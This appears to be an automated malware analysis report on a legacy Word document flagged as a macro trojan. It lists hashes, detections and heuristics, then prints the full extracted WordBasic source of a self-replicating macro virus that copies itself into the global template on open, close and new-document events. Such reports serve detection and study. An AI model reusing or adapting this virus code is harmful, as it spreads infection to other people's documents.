Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe95aec047625c9c…

MALICIOUS

Office (OLE)

35.0 KB Created: 1996-10-12 04:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ad1d4e3f63326c58042a7a5afbe8a73b SHA-1: 52f0a734e9670dceb0c5db643fb8428274188b17 SHA-256: fe95aec047625c9cd1c7c751f2ab91e69da977eb5203920eabe846403f983f4a
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macros, including AutoOpen and AutoClose, which are commonly used for malicious purposes. The macros attempt to copy themselves to the global template and execute, indicating an attempt at persistence or propagation. ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-656 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-656
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3627 bytes
SHA-256: 3dc1017a8997ad82edd80400b4dccf7e8e29ccf29fe4e25e90d10ae7bef5f4bd
Detection
ClamAV: Legacy.Trojan.Agent-656
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:TZ", WordBasic.[FileName$]() + ":TZ"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew"
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish2

For i = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](i, 0, 0) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":TZ", "Global:TZ"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
End If

Finish2:
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:TZ", WordBasic.[FileName$]() + ":TZ"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew"
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()

WordBasic.Call "AutoOpen"

End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:TZ", WordBasic.[FileName$]() + ":TZ"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew"
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "TZ"

Public Sub MAIN()

Rem A Virus from Nightmare Joker's Demolition Kit!

End Sub

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